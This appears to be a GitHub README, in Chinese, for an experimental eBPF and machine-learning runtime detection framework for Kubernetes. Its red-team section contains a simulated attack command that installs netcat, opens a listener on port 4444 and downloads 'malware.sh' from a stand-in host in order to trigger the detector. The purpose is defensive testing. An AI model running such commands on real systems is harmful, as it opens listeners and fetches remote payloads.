Murashidzi/SecureSME-Platform
GitHub: Murashidzi/SecureSME-Platform
结合eBPF内核遥测与无监督机器学习的实验性K8s运行时安全框架,用于检测零日容器逃逸攻击。
Stars: 0 | Forks: 0
# SecureSME
### 实验性云原生运行时检测框架 (eBPF + Kubernetes + ML)
SecureSME 是一个实验性的运行时安全框架,旨在评估将内核级 eBPF 遥测技术与无监督机器学习相结合,以检测 Kubernetes 环境中异常行为的可行性。
该项目探讨了一个核心研究问题:
SecureSME 并非旨在与 Falco 等生产工具竞争,而是被构建为一个系统研究平台,连接了:
- 内核级可观测性 (eBPF)
- Kubernetes 运行时安全
- DevSecOps 部署实践
- 无监督异常检测 (Isolation Forest)
其目标是在现实的容器化环境中评估检测效能、系统开销以及架构权衡。





## 作品集证据
### 1. eBPF 内核级威胁检测
*通过特权 Agent 挂钩 `sys_execve`,实时检测“Living off the Land”攻击。*

### 2. 分布式告警系统
*使用 Redis & Celery Worker 节点异步处理大型日志文件。*
## 架构:双重传感器防御
SecureSME 采用混合检测策略,结合用于遗留取证分析的异步日志解析(用户空间)与用于零日威胁防御的 AI 驱动系统调用追踪(内核空间)。
```
graph TD
%% Legacy Log Pipeline
subgraph UserSpace ["Reactive Sensor (User Space)"]
User["Forensic Analyst"] -->|"Upload auth.log"| API["Flask API Gateway"]
API -->|"Queue Task"| Redis["Redis Message Broker"]
Redis -->|"Pop Task"| Worker["Celery Worker Node"]
Worker -->|"Regex Threat Parsing"| DB[("PostgreSQL")]
end
%% Modern eBPF Pipeline
subgraph KernelSpace ["Proactive Sensor (Kernel Space)"]
Attacker["Attacker (Compromised Pod)"] -->|"Runs malware"| Syscall["sys_execve (Ring 0)"]
Syscall -->|"Intercept"| BPF["eBPF Probe"]
BPF -->|"Perf Buffer"| Agent["Python Security Agent"]
Agent -->|"Feature Extraction"| ML["Isolation Forest (AI)"]
ML -->|"-1 (Anomaly Detected)"| API
end
%% Frontend
DB -->|"Fetch Telemetry"| UI["React PWA Dashboard"]
```
## 核心特性
* **内核可观测性 (eBPF):** 一个运行 eBPF 探针的特权 Docker 容器,该探针挂钩到 Linux 内核,以获取跨所有 Kubernetes 命名空间的不可变 Ring-0 级可见性,绕过容器隔离边界。
* **边缘 AI 异常检测:** 用无监督机器学习模型 替代僵化的正则规则,部署在边缘以在无需静态特征的情况下,通过数学方法检测零日反向 Shell 和下载器。
* **自动化威胁情报:** 解析非结构化服务器日志(syslog, auth.log)以识别高严重性事件,例如 SSH 暴力破解和 Root 访问尝试。
* **对抗性验证:** 架构已成功针对模拟的容器逃逸和 Living off the Land (LotL) 攻击链进行红队测试。
* **DevSecOps 流水线:** 将 Bandit (SAST) 和 Safety 依赖扫描集成到 GitHub Actions 中,以拦截易受攻击的代码。
## 当前限制与架构路线图
### 1. 性能评估(进行中)
- 尚未进行高吞吐量系统调用基准测试。
- 尚未量化负载下的延迟增量。
- 未来工作:
- 测量不同执行速率下的 CPU 开销。
- 分析压力下的内存占用。
- 发布基线与检测模式的对比表。
### 2. 行为建模深度
- 当前的 ML 特征主要是词汇性和基于事件的。
- 缺乏:
- 进程谱系建模
- 时序突发检测
- 容器级统计基线
- 未来工作:
- 引入父子图建模。
- 实现滚动窗口异常评分。
- 评估序列行为模型。
### 3. eBPF 生产加固
- 目前使用 BCC 构建。
- 计划迁移到 libbpf + CO-RE,以减少运行时依赖并提高可移植性。
### 4. 集群规模验证
- 已在受控 Kubernetes 环境中测试。
- 未来工作:
- 多节点压力模拟。
- 故障模式与恢复测试。
## 技术栈
* **内核可观测性:** eBPF (BCC Library), C, Python
* **机器学习:** Scikit-Learn, Pandas, Joblib
* **核心后端:** Python 3.12, Flask, SQLAlchemy
* **异步基础设施:** Celery, Redis
* **前端:** React, TailwindCSS
* **数据库:** PostgreSQL
* **DevOps:** Docker, Docker Compose, GitHub Actions
## 安装与设置
1. **克隆仓库**
git clone https://github.com/Murashidzi/SecureSME-Platform.git
cd SecureSME-Platform
2. **部署选项 A:** 本地 Docker Compose(注意:eBPF Agent 需要主机内核头文件和特权执行)
sudo docker-compose up -d --build
sudo docker exec securesme_api python init_db.py
3. **部署选项 B:Kubernetes (DaemonSet)** 在 K8s 集群中部署传感器,映射主机级内核调试目录。
kubectl create namespace security-ops
kubectl apply -f infra/k8s/ebpf/daemonset.yaml
## 对抗性测试(红队演练)
* **测试 A:响应式引擎(日志分析)**
1. **通过 API 触发取证日志上传:**
curl -X POST -F "file=@heavy_attack.log" http://localhost:5000/api/upload
2. **验证异步后台处理::**
sudo docker logs -f securesme_worker
**测试 B:主动式引擎(AI 内核探针): 模拟隔离容器内的攻击者执行恶意负载:**
1. **监控 Flask API 摄取:**
sudo docker logs -f securesme_api
2. **从新终端发起攻击:**
sudo docker run --rm alpine sh -c "apk add --no-cache netcat-openbsd && nc -lvp 4444 & wget [http://example.com/malware.sh](http://example.com/malware.sh)"
*由 Murashidid 设计,作为 DevSecOps 和软件工程原则的演示。*
标签:Celery, CSV导出, DevSecOps, Docker镜像, Falco替代方案, Flask, Living off the Land, Redis, Syscall Telemetry, Web截图, 上游代理, 内核级可观测性, 分布式微服务, 威胁情报, 子域名突变, 容器安全, 容器逃逸, 开发者工具, 异常检测, 搜索引擎查询, 无监督机器学习, 测试用例, 请求拦截, 逆向工具, 隔离森林